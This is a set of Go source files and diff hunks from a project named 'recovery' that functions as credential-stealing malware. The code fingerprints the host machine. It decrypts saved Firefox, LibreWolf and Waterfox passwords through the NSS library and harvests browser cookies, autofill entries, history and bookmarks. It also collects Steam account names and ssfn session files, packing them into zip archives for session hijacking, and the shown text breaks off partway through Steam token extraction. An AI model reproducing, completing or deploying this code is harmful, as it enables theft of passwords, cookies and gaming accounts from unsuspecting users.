func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
return r != 0
}
func getDeviceCaps(hdc uintptr, index int) int {
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
return int(v)
}
func cpuCores() int {
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
if v == 0 {
return runtime.NumCPU()
}
return int(v)
}
func deviceMemoryGB() int {
var ms memoryStatusEx
ms.Length = uint32(unsafe.Sizeof(ms))
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
if r == 0 {
return 0
}
gb := int(ms.TotalPhys / (1 << 30))
if gb > 8 {
gb = 8 // navigator.deviceMemory is clamped to 8
}
return gb
}
// ── OS ─────────────────────────────────────────────────────────────
func osProductName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return "Windows"
}
defer k.Close()
product, _, _ := k.GetStringValue("ProductName")
build, _, _ := k.GetStringValue("CurrentBuildNumber")
display, _, _ := k.GetStringValue("DisplayVersion")
ubr, _, _ := k.GetStringValue("UBR")
name := product
if name == "" {
name = "Windows"
}
ver := display
if ver == "" && build != "" {
ver = build
if ubr != "" {
ver = build + "." + ubr
}
}
if ver != "" {
return name + " " + ver
}
return name
}
// ── Timezone ──────────────────────────────────────────────────────
// windowsToIANA maps common Windows timezone names to IANA identifiers.
var windowsToIANA = map[string]string{
"Eastern Standard Time": "America/New_York",
"Central Standard Time": "America/Chicago",
"Mountain Standard Time": "America/Denver",
"Pacific Standard Time": "America/Los_Angeles",
"Alaskan Standard Time": "America/Anchorage",
"Hawaiian Standard Time": "Pacific/Honolulu",
"Atlantic Standard Time": "America/Halifax",
"Newfoundland Standard Time": "America/St_Johns",
"GMT Standard Time": "Europe/London",
"Greenwich Standard Time": "Atlantic/Reykjavik",
"W. Europe Standard Time": "Europe/Berlin",
"Central Europe Standard Time": "Europe/Budapest",
"Romance Standard Time": "Europe/Paris",
"Central European Standard Time": "Europe/Warsaw",
"E. Europe Standard Time": "Europe/Chisinau",
"Russian Standard Time": "Europe/Moscow",
"Israel Standard Time": "Asia/Jerusalem",
"China Standard Time": "Asia/Shanghai",
"Tokyo Standard Time": "Asia/Tokyo",
"Korea Standard Time": "Asia/Seoul",
"Singapore Standard Time": "Asia/Singapore",
"India Standard Time": "Asia/Kolkata",
"AUS Eastern Standard Time": "Australia/Sydney",
"New Zealand Standard Time": "Pacific/Auckland",
"SA Pacific Standard Time": "America/Bogota",
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
"E. South America Standard Time": "America/Sao_Paulo",
}
func timezoneInfo() (string, int) {
var tzi timeZoneInformation
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
if r == 0xFFFFFFFF {
return "", 0
}
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
offset := -int(tzi.Bias)
iana := windowsToIANA[windowsName]
if iana == "" {
iana = windowsName
}
return iana, offset
}
// ── Languages ─────────────────────────────────────────────────────
func languages() []string {
var langs []string
var buf [85]uint16
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
if r > 0 && r <= uintptr(len(buf)) {
locale := syscall.UTF16ToString(buf[:r])
if locale != "" {
langs = append(langs, locale)
}
}
if prefs := chromeAcceptLanguages(); prefs != "" {
for _, l := range strings.Split(prefs, ",") {
l = strings.TrimSpace(l)
if l != "" && !containsStr(langs, l) {
langs = append(langs, l)
}
}
}
return langs
}
func chromeAcceptLanguages() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
data, err := os.ReadFile(path)
if err != nil {
return ""
}
s := string(data)
idx := strings.Index(s, `"accept_languages"`)
if idx < 0 {
return ""
}
rest := s[idx:]
colon := strings.Index(rest, ":")
if colon < 0 {
return ""
}
rest = rest[colon+1:]
start := strings.Index(rest, `"`)
if start < 0 {
return ""
}
rest = rest[start+1:]
end := strings.Index(rest, `"`)
if end < 0 {
return ""
}
return rest[:end]
}
// ── Fonts ─────────────────────────────────────────────────────────
func fonts() []string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return nil
}
defer k.Close()
names, err := k.ReadValueNames(-1)
if err != nil {
return nil
}
var out []string
seen := map[string]bool{}
for _, name := range names {
f := strings.TrimSpace(name)
f = strings.TrimSuffix(f, " (TrueType)")
f = strings.TrimSuffix(f, " (OpenType)")
f = strings.TrimSuffix(f, " (All res)")
if f == "" || seen[f] {
continue
}
seen[f] = true
out = append(out, f)
}
sort.Strings(out)
return out
}
// ── GPU ───────────────────────────────────────────────────────────
func gpuName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return ""
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(-1)
for _, sub := range subs {
if !strings.HasPrefix(sub, "0") {
continue
}
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, _ := sk.GetStringValue("DriverDesc")
sk.Close()
desc = strings.TrimSpace(desc)
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
strings.Contains(desc, "Microsoft Remote Display") {
continue
}
return desc
}
return ""
}
// ── Installed browsers ────────────────────────────────────────────
var browserUpdateGUIDs = []struct {
name string
guid string
}{
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
}
func installedBrowsers() []Browser {
var out []Browser
for _, b := range browserUpdateGUIDs {
ver := browserVersion(b.guid)
if ver == "" {
continue
}
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
}
return out
}
func browserVersion(guid string) string {
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
if err != nil {
continue
}
pv, _, err := k.GetStringValue("pv")
k.Close()
if err == nil && pv != "" {
return pv
}
}
return ""
}
func browserExePath(name string) string {
var paths []string
pf := os.Getenv("ProgramFiles")
pf86 := os.Getenv("ProgramFiles(x86)")
switch name {
case "Chrome":
paths = []string{
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
}
case "Edge":
paths = []string{
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
}
case "Brave":
paths = []string{
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
}
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p
}
}
return ""
}
// ── User agent ────────────────────────────────────────────────────
func userAgent(browsers []Browser) string {
order := []string{"Chrome", "Edge", "Brave"}
version := ""
for _, want := range order {
for _, b := range browsers {
if b.Name == want && b.Version != "" {
version = b.Version
break
}
}
if version != "" {
break
}
}
if version == "" {
return ""
}
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
}
// ── Local IPs ─────────────────────────────────────────────────────
func localIPs() []string {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var ips []string
for _, iface := range ifaces {
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, addr := range addrs {
ip, _, err := net.ParseCIDR(addr.String())
if err != nil {
continue
}
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
s := v4.String()
if !containsStr(ips, s) {
ips = append(ips, s)
}
}
}
}
return ips
}
func containsStr(s []string, v string) bool {
for _, x := range s {
if x == v {
return true
}
}
return false
}
@@ -0,0 +1,11 @@
package fingerprint
type JSResult struct {
Canvas string `json:"canvas,omitempty"`
WebGLRenderer string `json:"webglRenderer,omitempty"`
WebGLVendor string `json:"webglVendor,omitempty"`
WebGLVersion string `json:"webglVersion,omitempty"`
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
WebGLExtensions []string `json:"webglExtensions,omitempty"`
Audio float64 `json:"audio,omitempty"`
}
@@ -0,0 +1,7 @@
package fingerprint
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[fingerprint] "+format, args...)
}
@@ -0,0 +1,32 @@
package fingerprint
// Browser is an installed browser and its version.
type Browser struct {
Name string `json:"name"`
Version string `json:"version"`
Path string `json:"path,omitempty"`
}
// Result is the collected native fingerprint.
type Result struct {
UserAgent string `json:"userAgent"`
Platform string `json:"platform"`
OS string `json:"os"`
OSArch string `json:"osArch"`
Languages []string `json:"languages"`
HardwareConcurrency int `json:"hardwareConcurrency"`
DeviceMemory int `json:"deviceMemory"`
MaxTouchPoints int `json:"maxTouchPoints"`
ScreenWidth int `json:"screenWidth"`
ScreenHeight int `json:"screenHeight"`
AvailWidth int `json:"availWidth"`
AvailHeight int `json:"availHeight"`
ColorDepth int `json:"colorDepth"`
DevicePixelRatio float64 `json:"devicePixelRatio"`
Timezone string `json:"timezone"`
TimezoneOffset int `json:"timezoneOffset"`
Fonts []string `json:"fonts"`
GPU string `json:"gpu"`
Browsers []Browser `json:"browsers"`
LocalIPs []string `json:"localIps"`
}
@@ -0,0 +1,236 @@
package firefox
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
"recovery/recovery/chromium"
"recovery/recovery/db"
"recovery/recovery/types"
)
type firefoxLoginFile struct {
Logins []firefoxLogin `json:"logins"`
}
type firefoxLogin struct {
Hostname string `json:"hostname"`
EncryptedUsername string `json:"encryptedUsername"`
EncryptedPassword string `json:"encryptedPassword"`
}
var nssmu sync.Mutex
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
loginsPath := filepath.Join(profile.Path, "logins.json")
data, err := os.ReadFile(loginsPath)
if err != nil {
return nil
}
var logins firefoxLoginFile
if err := json.Unmarshal(data, &logins); err != nil {
return nil
}
if len(logins.Logins) == 0 {
return nil
}
nssmu.Lock()
defer nssmu.Unlock()
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
var out []types.PasswordResult
for _, r := range results {
if r.URL != "" && (r.Username != "" || r.Password != "") {
r.Browser = cfg.Name
r.Profile = profile.Name
out = append(out, r)
}
}
return out
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
if err != nil {
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
if err2 != nil {
return nil
}
defer rows2.Close()
var results []types.AutofillResult
for rows2.Next() {
var name, value sql.NullString
rows2.Scan(&name, &value)
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
defer rows.Close()
var results []types.AutofillResult
for rows.Next() {
var name, value sql.NullString
var timesUsed, firstUsed sql.NullInt64
rows.Scan(&name, &value, &timesUsed, &firstUsed)
var dateCreated int64
if firstUsed.Int64 > 0 {
dateCreated = firstUsed.Int64 / 1000000
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CookieResult
for rows.Next() {
var host, name, value, path sql.NullString
var secure, httpOnly, expiry sql.NullInt64
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value.String,
Path: path.String,
Secure: secure.Int64 != 0,
HTTPOnly: httpOnly.Int64 != 0,
ExpiresUTC: expiry.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
q := fmt.Sprintf(
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
JOIN moz_places p ON p.id = h.place_id
ORDER BY h.visit_date DESC LIMIT %d`,
chromium.HistoryLimit,
)
rows, err := d.Query(q)
if err != nil {
return nil
}
defer rows.Close()
var results []types.HistoryResult
for rows.Next() {
var url, title sql.NullString
var visitDate sql.NullInt64
rows.Scan(&url, &title, &visitDate)
var visitTimeUnix int64
if visitDate.Int64 > 0 {
visitTimeUnix = visitDate.Int64 / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
JOIN moz_places p ON p.id = b.fk
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
if err != nil {
return nil
}
defer rows.Close()
var results []types.BookmarkResult
for rows.Next() {
var title, url sql.NullString
rows.Scan(&title, &url)
if url.String != "" {
results = append(results, types.BookmarkResult{
Name: title.String,
URL: url.String,
Type: "url",
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
@@ -0,0 +1,7 @@
package firefox
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[firefox] "+format, args...)
}
@@ -0,0 +1,163 @@
//go:build !windows
package firefox
/*
#cgo LDFLAGS: -ldl
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
unsigned int type;
unsigned char *data;
unsigned int len;
} SECItem;
typedef int (*NSS_Init_Fn)(const char*);
typedef int (*NSS_Shutdown_Fn)(void);
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
typedef void (*PORT_Free_Fn)(void*);
static void* load_nss(const char* path) {
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
}
static void close_nss(void* handle) {
if (handle) dlclose(handle);
}
static int call_nss_init(void* handle, const char* profile) {
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
if (!fn) return -1;
return fn(profile);
}
static int call_nss_shutdown(void* handle) {
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
if (!fn) return -1;
return fn();
}
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
if (!fn) return -1;
return fn(enc, dec, NULL);
}
static void call_port_free(void* handle, void* ptr) {
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
if (fn) fn(ptr);
}
*/
import "C"
import (
"encoding/base64"
"os"
"runtime"
"strings"
"unsafe"
"recovery/recovery/types"
)
var nssLibPaths = []string{
// Linux paths
"/usr/lib/x86_64-linux-gnu/libnss3.so",
"/usr/lib64/libnss3.so",
"/usr/lib/libnss3.so",
"/usr/lib/firefox/libnss3.so",
"/usr/lib64/firefox/libnss3.so",
"/opt/firefox/libnss3.so",
"/opt/librewolf/libnss3.so",
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
// macOS paths
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
"/opt/homebrew/lib/libnss3.dylib",
"/usr/local/lib/libnss3.dylib",
}
func findNSSLib() string {
suffix := ".so"
if runtime.GOOS == "darwin" {
suffix = ".dylib"
}
for _, p := range nssLibPaths {
if strings.HasSuffix(p, suffix) {
if _, err := os.Stat(p); err == nil {
return p
}
}
}
name := "libnss3.so"
if runtime.GOOS == "darwin" {
name = "libnss3.dylib"
}
return name
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
libPath := findNSSLib()
cLibPath := C.CString(libPath)
defer C.free(unsafe.Pointer(cLibPath))
handle := C.load_nss(cLibPath)
if handle == nil {
logf("firefox NSS: failed to load %s", libPath)
return nil
}
defer C.close_nss(handle)
cProfile := C.CString(profilePath)
defer C.free(unsafe.Pointer(cProfile))
ret := C.call_nss_init(handle, cProfile)
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s", profilePath)
return nil
}
defer C.call_nss_shutdown(handle)
var results []types.PasswordResult
for _, login := range logins {
username := nssDecryptUnix(handle, login.EncryptedUsername)
password := nssDecryptUnix(handle, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
var encItem C.SECItem
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
encItem.len = C.uint(len(encBytes))
var decItem C.SECItem
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
if ret != 0 || decItem.data == nil || decItem.len == 0 {
return ""
}
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
C.call_port_free(handle, unsafe.Pointer(decItem.data))
return result
}
@@ -0,0 +1,138 @@
//go:build windows
package firefox
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"recovery/recovery/types"
)
type secItem struct {
ItemType uint32
Data *byte
Len uint32
}
var nssInstallDirs = map[string][]string{
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
}
func findNSSDir(browserName string) string {
dirs := nssInstallDirs[browserName]
if dirs == nil {
dirs = nssInstallDirs["Firefox"]
}
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
for _, dirs := range nssInstallDirs {
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
}
return ""
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
nssDir := findNSSDir(browserName)
if nssDir == "" {
logf("firefox NSS: nss3.dll not found for %s", browserName)
return nil
}
oldPath := os.Getenv("PATH")
os.Setenv("PATH", nssDir+";"+oldPath)
defer os.Setenv("PATH", oldPath)
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
if err != nil {
logf("firefox NSS: failed to load nss3.dll: %v", err)
return nil
}
defer nss3dll.Release()
nssInit, err := nss3dll.FindProc("NSS_Init")
if err != nil {
return nil
}
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
if err != nil {
return nil
}
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
portFree, _ := nss3dll.FindProc("PORT_Free")
profileBytes, err := syscall.BytePtrFromString(profilePath)
if err != nil {
return nil
}
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
return nil
}
defer func() {
if nssShutdown != nil {
nssShutdown.Call()
}
}()
var results []types.PasswordResult
for _, login := range logins {
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
var decItem secItem
ret, _, _ := pk11SDRDecrypt.Call(
uintptr(unsafe.Pointer(&encItem)),
uintptr(unsafe.Pointer(&decItem)),
0,
)
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
return ""
}
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
result := string(decBytes)
if portFree != nil {
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
}
return result
}
@@ -0,0 +1,228 @@
//go:build !windows
package recovery
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: scanSteamUnix(),
}
if result.Steam == nil {
return nil
}
return result
}
func steamBasePaths() []string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return []string{
filepath.Join(home, "Library", "Application Support", "Steam"),
}
}
return []string{
filepath.Join(home, ".steam", "steam"),
filepath.Join(home, ".local", "share", "Steam"),
filepath.Join(home, ".steam", "debian-installation"),
}
}
func scanSteamUnix() *types.SteamResult {
var steamPath string
for _, p := range steamBasePaths() {
if pathExists(p) {
steamPath = p
break
}
}
if steamPath == "" {
return nil
}
result := &types.SteamResult{SteamPath: steamPath}
configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if data, err := os.ReadFile(configPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
val := vdfValueUnix(line)
if val != "" {
result.Account = val
result.AutoLogin = val
}
}
if strings.HasPrefix(line, `"RememberPassword"`) {
result.RememberPW = vdfValueUnix(line) == "1"
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
seenGames := make(map[string]bool)
scanSteamLibraryUnix(steamPath, result, seenGames)
if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
return nil
}
return result
}
func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValueUnix(line)
if val != "" && pathExists(val) && val != steamPath {
libraryFolders = append(libraryFolders, val)
}
}
}
}
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACFUnix(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: acf["StateFlags"] != "4",
})
}
}
}
}
func parseACFUnix(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range strings.Split(data, "\n") {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key := vdfNthQuotedUnix(line, 0)
val := vdfNthQuotedUnix(line, 1)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfValueUnix(line string) string {
return vdfNthQuotedUnix(line, 1)
}
func vdfNthQuotedUnix(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist }
func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist }
func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist }
@@ -0,0 +1,586 @@
//go:build windows
package recovery
import (
"encoding/hex"
"os"
"path/filepath"
"strings"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func normLines(data string) []string {
return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: ScanSteam(),
BattleNet: ScanBattleNet(),
Epic: ScanEpic(),
Riot: ScanRiot(),
Uplay: ScanUplay(),
}
if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
return nil
}
return result
}
func ScanSteam() *types.SteamResult {
result := &types.SteamResult{}
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
if err != nil {
logf("[gaming] Steam registry key not found: %v", err)
return nil
}
defer k.Close()
result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
remPw, _, _ := k.GetIntegerValue("RememberPassword")
result.RememberPW = remPw != 0
steamPath, _, _ := k.GetStringValue("SteamPath")
logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
if steamPath == "" || !pathExists(steamPath) {
return nil
}
steamPath = filepath.FromSlash(steamPath)
result.SteamPath = steamPath
if result.AutoLogin != "" {
result.Account = result.AutoLogin
}
seenGames := make(map[string]bool)
scanSteamLibrary(steamPath, result, seenGames)
logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
if err != nil {
logf("[gaming] Steam Apps registry key not found: %v", err)
} else {
defer appsKey.Close()
names, _ := appsKey.ReadSubKeyNames(0)
logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
for _, name := range names {
if seenGames[name] {
continue
}
subKey, err := registry.OpenKey(appsKey, name, registry.READ)
if err != nil {
continue
}
gameName, _, _ := subKey.GetStringValue("Name")
installed, _, _ := subKey.GetIntegerValue("Installed")
running, _, _ := subKey.GetIntegerValue("Running")
subKey.Close()
if gameName != "" {
seenGames[name] = true
result.Games = append(result.Games, types.GameInfo{
ID: name,
Name: gameName,
Installed: installed == 1,
Running: running == 1,
})
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
if pathExists(localVdfPath) {
tokens := extractSteamTokens(steamPath, localVdfPath)
if len(tokens) > 0 {
